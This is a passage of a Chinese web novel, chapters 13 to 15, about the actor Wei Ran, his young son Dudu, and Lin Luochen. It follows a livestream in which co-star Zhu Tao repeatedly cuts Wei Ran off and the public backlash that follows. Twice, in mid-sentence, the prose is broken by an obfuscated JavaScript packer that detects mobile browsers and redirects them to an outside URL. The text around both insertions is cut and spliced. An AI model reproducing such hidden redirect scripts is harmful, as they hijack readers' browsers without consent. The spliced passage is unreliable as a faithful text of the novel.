他旁边的林洛宸却蹲了下来。 这个蔚染印象里、丝毫不喜欢小孩子的人，却在随意抹了把脸后，很熟稔、嗓音低柔地跟嘟嘟说：“叔叔没事，叔叔和爸爸也没有打架。” 蔚染：？ 所以他们到底是怎么这么熟的？…… 嘟嘟：“噢。” 审视的目光再度在爸爸和叔叔身上轮转片刻，嘟嘟放心了，他们应该的确米有打架。 ……尽管刚才他们交流的声音感觉有点大，看样子爸爸还把叔叔给打了。 但眼下，叔叔看上去挺开心的。 被打了的人是不会开心的。 所以爸爸和叔叔一定米有打架。 13. 第十三章 “林先生，您这个症状应该是过敏了。” “过敏？”林洛宸看看自己手臂上起的疹子，感觉很陌生。 刚在餐桌上的时候林洛宸就觉得有些不舒服，与蔚染分开后，身上红痒的面积扩大到一个比较可怖的程度，在司机的提醒下林洛宸来了医院，但他并没有想到自己是过敏。 “是的。”医生：“您有过什么过敏史？刚才吃了什么东西？您现在的情况很像是摄入过什么过敏原。” 林洛宸摇了摇头，不记得自己有什么过敏史。 他在国外吃东西的品类比较单一，永远只有那么几样，没过敏过。 至于刚才他都吃了些什么？席间他并没有吃什么特别的东西，都是常规的那几样。 ……蔚染也没什么胃口的样子。 …… 估计是见了自己，饿也吃不进去了吧。 身上痒得厉害，林洛宸思绪乱飞地想：但蔚染有个好儿子。 他依稀记得本家的那些小孩子们，吃饭的时候都是佣人们追着喂。可蔚染的孩子却很不一样——嘟嘟会喂他爸爸吃东西。 蔚染一副不好拒绝宝宝的样子，就吃了不少。 林洛宸捡蔚染吃过的几样东西吃了，蔬菜肉类都有，依旧尝不出什么滋味，但不知不觉也吃了好多。 …… 他不记得自己吃过什么。 “谢谢。” 手臂刚扎了一针脱敏针，林洛宸单手将卷起的衬衫放下，动作缓慢。 “您最好做个过敏原检测，您这个情况还挺严重，我们这边却没有相关记录，这个问题需要重视。” 一旁的医生表示：“正好林总您在总院那边也存有血液样本，我就安排那边直接进行检测了？” 林洛宸来的是林氏旗下的私人医院，这里一直都存有他的血液样本和干细胞，检测过敏原不是什么难事，也不需要再抽血。 他不甚在意地点点头，随即拿过自己的西装外套套上，说：“可以。” 林洛宸离开医院，坐上了钟星火开过来的车。 钟星火是林洛宸两年前重金挖掘的精英，也是林洛宸的在MIT的同门师兄。 他虽然隶属于林氏集团，但基本只听林洛宸的调度安排，跟林洛宸也比旁人要亲近一些。 “洛宸，感觉还行吗？”钟星火问。 林洛宸抬抬手，语气很淡：“只是有点过敏。” “对他过敏？” 林洛宸锋锐抬头，坐在后排隔着后视镜跟前面的钟星火对视了一眼，气压很低。 钟星火立即意识到自己说错话了，刚说了句“对不起”，就见林洛宸抬了抬指尖，语带自嘲道：“他对我过敏还差不多。” “……” 钟星火果断换了个话题：“你真打算以后都主要留在国内发展？” 钟星火其实不大赞同林洛宸这么果决就放弃北美和欧洲市场，无关利益，只是他比较了解林氏家族内部的状况。 “现在国内市场这么好，你家族里的那几个老家伙又都不是省油的灯，这么大块肥肉，恐怕他们不会轻易吐给你。我听说已经有人跑到您家老太爷那里告状去了……” 后排的林洛宸，对他的担忧倒不以为意，只是道：“忽然调你过来，你爱人和孩子没意见吧？” 钟星火：“嗨，那有啥意见，高兴还来不及。毕青的爸妈在国外住不惯，去年就回国了，他正舍不得呢，现在正好了，等我安顿下来，他那边就把工作辞掉带孩子搬回来，永远不走最好。” “嗯。” 林洛宸应了声：“别影响你们夫夫感情就好。” “……” 钟星火凭经验认为，说这话的林总简直就是变了个人——几天前还杀伐果断、好像可以六亲不认的林洛宸，是绝对不会多说这一句的。 他又观察了半晌林洛宸的脸色，忽然说：“既然那么在意他，为什么不再查查呢？” 钟星火并不认识蔚染，但他知道这段时间让自家老大陷入疯狂的、都是因为那个叫蔚染的明星，所以他更不懂了：“至少也要知道那孩子的母亲是谁吧？既然你如此好奇……” “我不好奇。”林洛宸斩钉截铁地否认。 钟星火：“……” 车内陷入一片寂静。 半晌，车子流畅地驶过两个街道后，林洛宸忽然又说：“他现在单身。” “单……什么单身？” 后排的林洛宸皱了皱眉。 “啊，这样啊。” 钟星火专心开车，片刻后才意识到原来他们还在进行方才的话题，不由分出精神说：“单身啊，那的确不必要知道孩子母亲是谁……不过既然蔚先生现在单身，那你就要主动点儿啊。” “……主动？” “咳。”钟星火只有一次恋爱经验，一开始是毕青追他，后来改成他追毕青，两个人拉拉扯扯竟然过了十年才真正在一起。 以他过来人的经验说，放不下一个人的时候就要立即去争取。 不过过去两年共事时的刻板印象过于深重，他总觉得林洛宸不是那种会因为感情就失了智的人，所以不敢乱提意见。 退一万步说，林总每年三百万年薪是请他来工作的，不是做情感顾问的。他完全是看在对方是自己师弟的情况下、才会多嘴关心领导的情感状况。 钟星火含糊道：“反正蔚先生单身，要是你还对他有想法的话……追了也不犯法。” “追、追……？” 追蔚染吗？林洛宸狠狠皱眉。 又不是没追过。 记忆里最开心的记忆，就是那个晚上，他追到了蔚染。 而记忆里，这辈子最狼狈、这颗心最七零八落的时候，是两天以后，蔚染甩了他。 林洛宸微微向后靠去，又不出声了。 也许是抗过敏针药效强劲，他觉得有些疲惫。 人一疲惫头脑就要忍不住地乱转。 林洛宸便又想起刚才被他困在墙壁间、薄纸片一样的、苍白的蔚染。 . 电视剧《夜将行》的播放接近尾声，日渐疯走的播放量让蔚染的宣传工作变更多了起来。 今天就有个主创们之间的直播连线活动。 季养运：“都市奔跑那个综艺给打的尾款到了，因为你做飞行嘉宾的那期本周播放量也破了七千万，节目组按照合同多打了五十万过来。” 蔚染正坐在镜子前面，模样很乖地被造型师摆弄着头发，听季养运这么说，他表情一瞬有些疑惑，但还是点了点头。 季养运一看他这样就知道他这是又发懵了，脑子里估计还想着直播结束后赶回去拍戏的事儿，于是主动提醒：“你买个红薯都带火红薯摊了，带火个综艺很正常吧。” “哦。”蔚染明白了。原来是这么火的。观众竟然都喜欢看他吃红薯……真是谢谢大家的抬爱。 蔚染垂眸，默默在心里面真诚道谢。 季养运：“……不是喜欢看你买红薯，而是你这个人……算了。” 经纪人又说：“不过有些人是眼红你眼红疯了，你买红薯这事也有人喷。” 蔚染闻言眨眨眼，隔着镜子看向季养运。 四年前被网曝后，除了配合官方做宣传外、蔚染就再没点开过任何社交软件，也不看关于自己的言论。 不看是因为没勇气承受，他还是很在乎自己被喷的。 现代装的蔚染没有《夜将行》韦玉书那种一身仙气的感觉，但颜值却丝毫不受发型造型的影响，乍看上去还是电视剧里仙风道骨的大师兄。 可季养运也没忽略蔚染表情中的一丝胆怯和担忧，他尽量放缓语气说：“也没什么，就是一波人说你去买红薯是不听节目组指挥，另一批人说红薯摊那些排队买红薯的都是我们买的水军。……还有一批人更逗，说你收了红薯摊老板的钱。” 蔚染：“……” “反正就是红薯摊那边还有人在排队买你的同款红薯么，get不到你的人会不理解，有人嫉妒发疯也正常，娱乐圈嘛。” 季养运又看了眼手机上的数据说：“而且你的人气都快盖过祝涛了，他毕竟是夜将行的男一，人气之前也比你高很多，现在被追上了估计心里正难受呢。娱乐圈嘛，给自己买买数据，给对家买买黑料，都正常。” 嘴上是这么说，但季养运脸上的笑容倒是极尽讽刺。 与他相反的，则是蔚染脸上的一片空白。 蔚染：“……哦。” 知道自己这次又被骂的原因，感觉听上去都不是什么大的问题，蔚染便松了口气，干脆不去想了。 季养运见他根本没听懂自己的重点，不由更直白地提醒：“总之等会儿直播连线的时候，你小心点祝涛，当心他给你下什么套。” 蔚染：“……？” 季养运到底是老牌经纪人，差不多一语成谶，不过最终呈现出来的结果却是反的—— 《夜将行》主创连线直播的活动结束后，#祝涛蔚染不合#的话题直接冲上了热搜。 【这热搜是怎么回事？我在剧里嗑师兄弟CP嗑得正欢呢，你们告诉我濮阳星渊和韦玉书私底下不睦？！】 【别瞎说，星渊和玉书关系挺好的，演员的事不要上升角色哈。】 【早知道不看直播了，本来剧粉吃得一本满足，在剧外看联动我简直是自讨苦吃！】 【什么不合，这不明显是祝涛单方面在霸凌蔚染吗？】 【+1，这直播看的我都恶心了，抱住蔚染小可爱！】 祝涛蔚染不合的话题下面，不远处，#濮阳星渊说韦玉书笨#的词条也一样醒目。 两个话题其实是联动的，说的就是刚刚结束的那场直播。 【发生了啥，刚开播的时候看了一眼，挺正常挺和谐的啊，怎么一转眼就吵上热搜了？】 【刚开播的时候一切是挺正常，因为蔚染一向甘做绿叶，不怎么说话。】 【我发现了，染染是真的低调不抢风头，有些人故意不说话，其实还是要其他嘉宾多关注他，但是染染真的太老实了，给每个嘉宾的情绪价值都给拉满了，却又从不表现自己！】 【是啊，所以更显得那个谁有点浮夸了。】 事情起因是这样的—— 直播开始，几名主创人员在主持人的带动下都幽默互动，直播间氛围融洽。 但到了直播中段，主持人发现蔚染总是说的最少的那个，就揪着蔚染问了两个问题，然后说嗨了的祝涛两次打断了蔚染的话。 这个时候观众就已经有些意见了。 祝涛是跟男三号在线下坐在一起共同直播的，两个人一起在镜头下互动本来就多，一会儿勾肩搭背一下，一会儿互相给端个咖啡倒杯水，在同时连麦画面中很吸睛。 而且饰演男三的小演员很会捧哏，祝涛的表现一直堪称亮眼和积极，是这个直播间里C位的存在。 但因为他是男主，这种模式感觉也理所当然，尤其是饰演女主的伍丹萱性格外向，也很会抢话题，两个人你来我往，一开始观众只觉得这直播间和谐又热闹。 可直播进行了四十多分钟，难得有专门针对话少的蔚染的问题，这个时候祝涛还抢镜，对于观众来说感官就不大好了。 不过那会儿因为蔚染没脾气，被打断了还能认真倾听其他人讲话、做出回应，以最不惹人注意的方式将观众重心再度转移到了祝涛身上，使得直播氛围依然融洽，质疑的弹幕也很快被其他讨论的弹幕淹没。 等到了后面的游戏环节，暴露的问题就更多了——祝涛几次从蔚染那里抢话，呈现的效果就是几乎不叫蔚染出声。 【越看越生气，总抢蔚染的话！蔚染这么好脾气的人都懵了，我的天呐……】 【你说的是第73分钟时候的事吧？好尴尬啊，蔚染还没做出反应，祝涛就直接说蔚染不会让下一个，强行跃过蔚染，他谁啊？也太不给人面子了吧！有没有礼貌？！】 【这里我真的心疼蔚染了，谁懂啊，他表情一呆的样子太招人疼了！】 【呜呜呜，妈妈受不了阿染宝宝被欺负……】 【路人都被气得血压飙升，后来伍丹萱都看不下去了，跟祝涛说你让蔚染把话说完，结果祝那是什么态度！？】 【靠靠靠靠啊，他嬉皮笑脸地说我染就是反应慢、笨笨的，还一副跟染染是哥们的样子，这茶精，我要吐了。】 【我呸！他才反应慢，他才笨笨的！】 【……两三年前我还蛮喜欢祝的，他现在是怎么回事，做了一番男主就飘大了？】 【好油啊他。他比蔚染还小两三岁呢吧，年纪轻轻的怎么这么油腻！】 【气死我了，祝是上播前喝假酒了吗，他一个人嗨什么嗨呢？！】 祝涛的确是在直播时给蔚染下了套，可惜蔚染一个都没接。 直播刚开始，祝涛就有意无意提起两年前他们一起拍夜将行时、蔚染总牵挂他儿子，休息的时候要跟儿子视频、有两次还把孩子带到了剧组的事。 韦玉书在剧里纤尘不染，他的剧粉应该受不了他有个孩子。 祝涛就是故意提起蔚染的家的崽子的。 可也不知是蔚染脾气太好、还是真的笨，那些祝涛不着痕迹提起的拍摄时的事，蔚染听见了也跟没听见似的，还在镜头前傻乎乎的乐。 ……直播的前半段，蔚染哪怕针对他家孩子的事回一句嘴、或者接话试图解释什么，祝涛接下来都有话要说。 可惜没有。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16361020|183680||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>蔚染就摆着他那标志性的谦卑和礼貌的表情，听他们“闲话家常”，会跟着一起笑，却不怎么出声。 …… 祝涛最烦他这样。 一个比自己大了整整三岁、孩子都能打酱油的人，不就是脸白点，长得偏秀气一点，装什么嫩呢？ 还有他一个男二，人气还真打算超过自己？！ ……直播四十分钟后，祝涛逐渐有点绷不住了，他想起拍戏时整天不是捧着剧本、就是在跟他家崽子通话的蔚染，感觉这家伙可能真就是个傻子。 正常人很难去尊重一个傻子。尤其是让自己特别厌恶的那种。 祝涛根本控制不住地想要去阻止蔚染发言，他听见那道温吞的声音就烦。 当然他还记得开着直播，他阻拦蔚染也是用着开玩笑的语气，尽量表现自己跟蔚染很熟、对方不会计较的样子。 反正蔚染立的那破人设、也不会让他跳出来说他们其实没那么熟；反正很多粉丝都嗑他俩CP。 在他直播间弹幕一应“涛涛幽默”、“真好嗑”的赞美声音中，祝涛想着，这样说不定会让大家认为他们感情真的好，这不是间接炒了CP，也算是为这部剧制造了长尾效应。 只是他没想到现在网友的眼光都这么毒，除了他直播间里的粉丝外，外面骂他的竟然比他想象中的要多。 直播结束，看着热搜上铺天盖地的骂声，祝涛第一次感受到了危机。 经纪人的电话打了进来，祝涛担心被骂，刚接起来就抱怨现在的网友莫名其妙，如果没有他、这场直播的热度怎么能这么高？剧组得给他打钱。 对面经纪人一阵无语，才怒气冲冲地咆哮：“直播间，又不是录播！你跟蔚染杠什么？你不会觉得他真傻吧？” “……什么意思？” “你看直播回放没有？让你被骂的主要是一小时十三分钟的时候，蔚染的一个表情！” “什么表情？”祝涛连忙点开了刚才的直播回放，忽视了自己直播间弹幕的吹捧，这次他主要去看蔚染的表情，嘴里嘟囔着：“他能有什么表情，全程都在假笑……” 经纪人：“他是一直在笑，好脾气地配合你们听你们讲话，表情控制的也很到位。所以他在又一次被你打断后，猛地做出一个空白的表情才让观众受不了了！” “一个表情至于吗……”祝涛难以置信，依然很不服气。 他把进度条拖到73分钟的时候，那会儿他们已经做了几轮真心话大冒险的游戏。 前面几轮每次轮到蔚染抽人的时候他都会犹豫两秒，祝涛在弹幕里都看见自己粉丝吐槽他反应慢了，所以这次他直接半开玩笑地说蔚染太慢了，下一个。 他用的真的是开玩笑的语气。而按照蔚染一直以来的脾气，也只会眨眨眼，然后配合地鼓鼓掌表示可以下一个、没问题的。 可这一次，蔚染的表情直接懵了一秒。 ……或许都不到一秒。 紧接着，蔚染那双被路人和粉丝吹上天的漂亮眼睛就晃了晃，春水荡漾一般，凭白多出五分无辜和五分尴尬，懵然又无措。 这一幕的确很抓人心。 但更牵动人情绪的是，转瞬间，蔚染又眨眨眼，像把自己缩进看不见角落里的、受伤的猫咪，在独自调整好心情后又重新探头，再度温和地保持微笑。 …… 一下子，就变成了委屈得不能再委屈、却又不得不保持得体和隐忍的模样。 ……还的确，他这两秒钟不到的表现，真超级能打动人心。 连祝涛都从蔚染的微微抬眉和继而的低眸浅笑间，感受到了一种极度惹人心疼的无奈和委屈。 这也就将他祝涛的嘴脸衬得有些恶劣。 而这两秒钟的前后，弹幕的确铺天盖地、说的都是心疼蔚染，以及骂自己的言论。 …… 祝涛握着手机的手都抖了起来。 “……操，他故意的吧！” 是不是故意经纪人也叫不准。毕竟如果真是故意的，那前面忍了一个多小时，之后用两秒钟彻底翻盘，这蔚染的心机也太深太能忍了。 但有一点事毋庸置疑的。 经纪人很生气地提醒祝涛：“我早就听说过，他很懂镜头语言！你还说他傻，至少在演戏这方面，他悟性可高了呢！比你演技好！无论是两年前还是现在，你可别再飘了！” . 蔚染就是在保姆车上直播的，直播完就下去拍戏了，又一直忙到深夜才回家。 这次嘟嘟依旧穿着小恐龙等他，但或许是累了，嘟嘟没醒，蔚染又气又心疼地把宝宝的小恐龙睡衣剥下来，担心弄醒崽儿，也不给他另套什么衣服了，就直接暖呼呼的塞进小被窝。 关于小恐龙睡衣，蔚染也曾打算直接把它扔了或者送人，这是最直接有效防止嘟嘟穿它入睡的方法。 可蔚染小时候过得并不如意。他知道喜欢的玩具被大人丢掉的感觉。 他总怕嘟嘟会不开心。 ……对于养育嘟嘟的问题，蔚染总是有无尽的不知所措。 其实刚生下嘟嘟的那年，蔚染是真的已经放弃做演员了。 什么梦想、热血，那条路终究太陡峭了，还布满荆棘。蔚染年轻、一腔孤勇的时候都没走明白，他不自信自己一边照顾幼崽、一边还能成功。 如果不是嘟嘟一直鼓励他，一定要他继续去追逐去拍戏，他八成早就不在这里。 可即便如今事业上有了这么大的进步，蔚染的想法依旧不乐观，并且仍旧觉得很对不起嘟嘟。 深夜里，蔚染做出了个很少会在外面露出的表情——他鼓了鼓腮帮，紧接着就气馁地坐在嘟嘟床边的地板上，干脆不动了。 又忙了一天，他是真的累。也没力气动了。而对宝宝的愧疚和担忧，则成了今天压倒他的最后一根稻草。 蔚染就靠在嘟嘟的床边，沉默地看着床上舒展小身子、偶尔拧眉吧唧嘴，但整体来说睡得还算香甜的幼崽。 “唔，爸爸……都不阔以欺负我爸爸！” 在蔚染快就这么睡着的时候，嘟嘟不知道做了什么梦，小奶膘都气得一颤一颤的，蔚染被惊醒后，只得赶紧轻拍幼崽，哄着宝宝继续入睡。 蔚染没有开嘟嘟卧室里的灯。 就着走廊上夜灯的灯光，他注视着自家幼崽，一看就是良久。 确定嘟嘟已睡得不能再熟后，才伸出一根手指，轻微微地戳了戳宝宝细面团一样的颊肉。 蔚染轻声说：“爸爸也不许任何人伤害宝宝。” ——哪怕是为了借题发挥而顺带提起了嘟宝，也不行。 窗外的月光温凉。蔚染投射下的阴影打在团子一样的幼崽身上，沉沉稳稳地笼罩着，如山影一般岿然巍峨。 14. 第十四章 第二天。 网上对祝涛的讨伐之声依旧激烈，而蔚染则靠着直播时那两秒钟委屈又隐忍的表情，一个晚上涨粉一万三。 《夜将行》毕竟还在热播期，男一和男二不合的话题度，虽不是投资商们预想的炒cp的形式，但依旧很能拉流量。 资本并不关心怎么赚钱，只要能有流量。所以这一夜，#祝涛蔚染不合#稳坐热搜前排，就没下去过。 直播的事明眼人都能看出祝涛过分了，也吸引了很多路人的关注。 面对一边倒的舆论和声讨，今天一早，祝涛粉丝们的话术变得高度一致，开始四处说蔚染是心机深沉的绿茶精，那两秒钟是故意的。 但这种铺天盖地的刷屏，很快也遭到了路人们更大的反感。 【什么意思，所以被人打压成那样，还必须得控制住表情，连一秒钟的委屈都不能透露给观众骂？】 【有空骂蔚染，怎么不去管管你家主子，是祝涛管不住自己撩欠的嘴吗？那他得去医院看看了】 【先撩着煎！望周知！】 【不是，点开蔚染的词条，前几天还有人吐槽他迷糊呢，这会儿又成茶精啦？要不你们黑子统一一下再来呢？】 …… 蔚染不会主动上网去看这些，这还是季养运挑了几条自己的嘴替，读给蔚染听的。 “不过阿染你的确是脾气太好，要不是昨天祝涛拿嘟嘟说事，你估计还没反应吧？” 对于蔚染这缩头绵羊一样的脾气，季养运是既觉得庆幸、恨不得每天都烧高香谢谢神明，也止不住地心疼。 手下艺人太乖了，比他还会控制情绪，这不烧高香干嘛？要是摊上祝涛那种傻缺……不，他也不会跟那种傻缺合作就是了。 季养运：“平时别人怎么说你都行，就是说你家崽崽不行。但我也想不明白了，那你怎么会同意让嘟嘟去参加综艺的？” 嘟嘟很快就要去参加一个娃综综艺了，这也是蔚染最近这么拼命赶进度拍戏拍商务的原因。他要空出时间去陪嘟嘟。 至于季养运的问题，蔚染其实也很头痛——说来实在叫人难以置信，那场综艺是嘟嘟自己报名的。 嘟嘟在很多方面都很有小大人的样子，甚至比现在的蔚染还要有主见，简直就跟年轻时的蔚染一模一样。或者更优于蔚染——嘟嘟在某些时候会展现出惊人的远见。 是蔚嘟嘟操着小奶音亲口跟他说，说嘟嘟要赚钱养爸爸，爸爸也要多赚钱攒钱，因为未来爸爸就不能一直拍戏了、会伤身体，所以他们父崽一定要一起进击综艺…… 对于自家宝宝的话术，蔚染不全信，也不全不信。 当然蔚染也不是没有挣扎过，他也许已经比任何人都要知道娱乐圈的残酷，也担心嘟嘟会被攻击。 可这些，当蔚染坐下来跟幼崽详细说明以后，嘟嘟竟然很认真地表示宝宝心里有数。 …… 还是那句话，蔚染小时候过得不好，现在就总想尽可能的让嘟嘟发挥。 所以无论是当初嘟嘟建议他去拍戏，还是现在嘟嘟自己说要出道，蔚染都会支持。 大不了他再更努力地拍几部戏，接几个商务，给嘟嘟攒够了钱……总之，日子不会比最初他刚生下嘟嘟那会儿时、还要难了。 又过了一天。 #蔚染红薯王子#的词条挂上了热搜。 点进去就是好几个营销号带头开骂，与此同时，其他平台和视频网站也忽然多出了好多长篇大论的分析，都是在刻意引导人，说蔚染是故意在靠一个吃红薯的镜头炒作了这么久，严重占用社会资源之类。 一部分不了解真相的人被大v博主们带了节奏，也表示不想再在热搜上看见蔚染和红薯了。 一部分也不知道被谁带节奏，开始说蔚染跟红薯联系在一起很土，没有明星样儿，影响了他在《夜将行》里饰演韦玉书的形象。 “这条热搜明显就是对家买的。” 季养运一大早就在处理这件事，被气得不行，“竟然想在上升期干掉你仙风道骨的人设？他们还真挺会另辟蹊径！” 嘟嘟坐在儿童餐桌后面，小手正好抓着一块烤红薯啃得香甜。 红薯依旧是嘟崽昨天排队买的，听见经纪叔叔叙述的事情，嘟嘟很不解地歪了歪头：“为什么把拔拔，跟红薯放在一起很土？” 蔚染难得今天早上没工作、可以陪崽吃早饭，这会儿全然沉浸在带崽时光中，根本不想理会网上的那些事。 他给嘟嘟喂了口牛奶，见嘟嘟完全可以自己吃东西，不禁又有些惶恐和无措—— 嘟嘟一向比其他小孩更会照顾自己，这蔚染一直都知道。可作为嘟嘟的爸爸，蔚染也难免既担心崽儿长得慢、又担心崽长太快。因为那样会感觉自己一不小心就错失了崽崽的童年。 蔚染正惆怅着，面食清香的味道就溢满鼻尖——嘟嘟不知什么时候，用另一只小手拿起了桌上小猪造型的奶黄包，高高的举给蔚染。 “爸爸，吃。” 蔚染登时笑弯了眉眼，张口咬住奶黄包。 儿童餐包个头普遍很小，蔚染几口吃完，嘟嘟又将一根蒸好的水果胡萝卜举给蔚染。 “爸爸也要多吃菜菜，王奶奶说，介样才……什么衡！” “营养均衡吗？” 蔚染自然也接过宝宝投喂的胡萝卜。 然后他又被幼崽投喂了一颗小番茄、几片特意从吐司三明治里挖出来的菜叶子，以及一块红薯。 嘟嘟似乎真的很怕爸爸不均衡，自己的红薯都忘记吃了，就一直用另一只小手举着。 蔚染不忘提醒：“嘟嘟也快吃你的红薯，等会儿凉了。” “对哦。”嘟嘟这才又啃了一口，感觉红薯的味道还是那么香甜，嘟嘟吃得可美了，小奶膘乱晃，之后又想起刚刚经纪叔叔说的话题—— “经纪叔叔~吃红薯呀~”吃得香甜的幼崽，口齿难得有些含混不清。 “叔叔不吃，谢谢嘟嘟——” 季养运本来忙着回运营团队的消息，没怎么注意他们父崽这边的情况，毕竟他知道蔚染根本不会理会这种事。 但蔚染虽然不想立人设，季养运却不会让自己处于上升期的艺人被打上土气的标签，尤其蔚染长得这么好看。 可就在季养运出于对待幼崽的礼貌，回绝嘟嘟并且顺便看了嘟嘟一眼的时候，又忽然愣住，心里忍不住想这对父子是怎么回事？怎么嘟嘟吃个红薯、看着也这么有话题度？ 与蔚染举手投足都画一样绝美出片儿、哪怕吃个红薯都能出圈不同，嘟嘟吃红薯更吸引人的点是吃得很香。 小小的人类幼崽嘴巴也是小小的，牙齿都还没有换，只能一点点地抿着红薯吃。可嘟嘟一脸享受和兴奋的模样，任谁看了都会感受到一种食物带来的幸福，下意识认为这红薯好吃。 与经纪叔叔对上眼神的嘟嘟还以为对方又对红薯感兴趣了，再次试图将盘子里的红薯块分享。 同时，嘟嘟大大的脑袋里还有个小小的疑问：“经纪酥酥，红薯就是土里面种的呀……那爸爸也是土里面种的？所以爸爸跟红薯一样土？” 季养运忽然灵光一闪：“嘟嘟！” “？”美滋滋举着红薯块，很满足于今天对爸爸的投喂的嘟嘟骤然跟经纪叔叔对上视线：“哒？” “叔叔，来块红薯？” 季养运眼睛在那对齐齐看向自己的父子身上徘徊：“……红薯真那么好吃吗？” 嘟嘟不假思索地点头：“很好吃的！” “我想到了！”季养运忽然拔高音量，声音大得可以直接在房间里回荡。 蔚染：？O.O? 嘟嘟：?Owo？ 高音量将对面的父崽吓了一跳，季养运已经语气带着激动：“嘟嘟，你可真是你爸爸的小福星！” 嘟嘟：？ovO 蔚染：OwO 季养运并没有立即解释，而是很快用手机发了几条消息出去，之后他才兴奋地转回来，拿起桌上的吐司三明治大啃了一口：

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16361021|183680||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “我想到了，谁说把蔚染跟红薯放一块儿就一定是土了？什么叫土？土不土的，咱们自己定义！” 嘟嘟大眼睛一眨不眨地盯着经纪叔叔。 两只小爪子都揣在身前，那是嘟嘟感到局促的标志——唔，该不该提醒叔叔，叔叔现在吃的那只三明治，是嘟嘟挖光菜叶喂爸爸剩下的三明治呢？…… 假如叔叔吃到了失去小蔬菜的三明治，会不会那个什么，营养不均衡？…… 不过嘟嘟的注意力很快又被夺走，因为经纪叔叔又在夸宝宝聪明，也又说了一遍嘟嘟是爸爸的小福星。 ……虽然不知道发生了什咩。 但，坐在儿童座椅上的嘟嘟还是开心地晃起了小脚—— 嘟嘟，当然是爸爸的福星宝宝啦！ 在季养运的操作下，当天，几个专门分享自家幼崽动态的大V，纷纷发出了自家幼崽吃红薯的视频。 视频中，幼崽们都吃得香甜，还有一个以干饭香闻名的五岁小男孩几乎原封地复刻了嘟嘟说过的话，人类幼崽在镜头前发出疑问的声音：“红薯就是土里种出来的呀？为什么要说红薯王子土？” 这么灵魂的拷问不仅黑蔚染词条的人无法辩驳，还瞬时引起了其他各行各业博主的关注，很快有人发视频、发文章对于此事进行了讨论。 【本来不了解那个明星，现在反复观看了他吃红薯的视频，我觉得完全没问题啊，不知道有什么可黑的。】 【吃红薯就土啦，红薯招惹你们全家啦】 【土不土的无所谓。我只是单纯不想看见那个谁再拿烤红薯炒作了】 【烫知识，不喜欢看的东西可以点不感兴趣】 【笑拉了，卖红薯的觉得OK，排队买红薯的OK，部分网络喷子不OK。】 【谢谢好心人们的安利，从此以后我就是蔚染的颜粉啦。】 【我真的，好久没遇到过这么接地气的明星了哈哈，垂直入坑！】 【染染只是一名演员啦，谢谢大家喜欢演员蔚染！】 下午一点，蔚染的社交账号更新了，分享了两张照片，内容是一只小肉手拿着一个小勺子，小勺子上面放了一块舀起来的红薯，正递到蔚染的嘴边。 红瓤烤出蜜汁的红薯在阳光下显得晶莹剔透，单看照片就知道一定很好吃。 两张照片看上去是连续拍摄的，背景几乎一样。 第一张蔚染望的是小肉手伸过来的方向，满脸笑容，眼波温柔荡漾； 第二张照片是蔚染对着摄像头，正捧着那只喂他红薯的小肉爪子、将那口烤红薯吃下。 大概是面对镜头，蔚染的神情变得害羞和含蓄了许多，笑意隐隐浮现，在阳光下又显得格外灿烂。 【啊啊啊入坑两周，你终于更新动态了！好美！大师兄现代版也超美啊！！素颜好好看！！！】 【卧槽阿染你都是当爹的人了，为什么看上去还这么嫩啊！】 【妈耶，第一张好温柔，第二张有股子神性的味道】 【我的关注点……肉爪！肉乎乎的小爪！！是染染家的崽儿吗！？】 【看见染染脸上的小绒毛了，好可爱。】 【呜呜被崽崽喂饭一定香迷糊了吧，实名羡慕】 【我羡慕那块红薯。】 【从此以后我就跟着红薯王子混了】 【我有罪，早上看见那条热搜差点被带节奏，真以为吃红薯很土。事实证明神仙吃啥都仙！幸好我还没退车票，明天我就到S市买烤红薯啦！】 【真不懂，买红薯是我们乐意的，凭啥说我们土？】 【我就喜欢吃红薯，呵呵，爱土不土，就是这么接地气】 【如果染染这样都叫土，那世上就没神仙了好吗。】 【没人觉得蔚染家崽崽的小肉爪好像哆啦A梦的小手手吗？哈哈！】 【我也觉得好像】 【呜呜呜幼崽他就这样向爸爸伸出圆手！】 【啊啊啊，蔚染什么时候让我们看家崽儿啊！】 15.第十五章 到了晚上，夜将行更新了两集，其中恰好有蔚染打戏的高光镜头。 蔚染粉丝和剧粉们再度陷入疯狂，结合蔚染拍摄时流出的路透，纷纷出手剪辑成cut、并且争相在几大主流视频网站上大面积播放，蔚染饰演的韦玉书再度独占鳌头，风头无两。 #蔚染红薯王子#词条里的风向，也发生了一百八十度大转变。 祝涛也没想到自己花大价钱给蔚染买的黑热搜，最终不仅洗白了，还又往高送了蔚染一程。 他气得一宿没睡，下午跟经纪人碰面，还直接吵了起来。 “那会儿让你多拍拍打戏你不干，现在好了，风头都被压下去了。” 祝涛的经纪人很愤怒： “你以为在网上说蔚染土，就能盖过韦玉书的风头吗？现在好了，反而给那个蔚染预热了一天，直接给人做嫁衣了！今天人家粉丝又涨了五位数！” 祝涛也同样快气死了，他亲姐姐就是一线演员，凭借这层关系，他进入演艺圈的第一部戏就接了个深情男二的角色。 因为那会儿年轻长相也出挑，很符合偶像剧里求而不得的深情男二形象，因而很快就有了名气，再下一部剧就饰演主角了，紧接着就进了夜将行的剧组。 可以说他出道以来一直顺风顺水。 毕竟已经做过一部B级剧的主角，且风头正盛，拍夜将行的时候祝涛并没怎么把那部戏当回事儿。 他的目标是在S级神剧里演大男主，两年内直接超过他姐的成就。 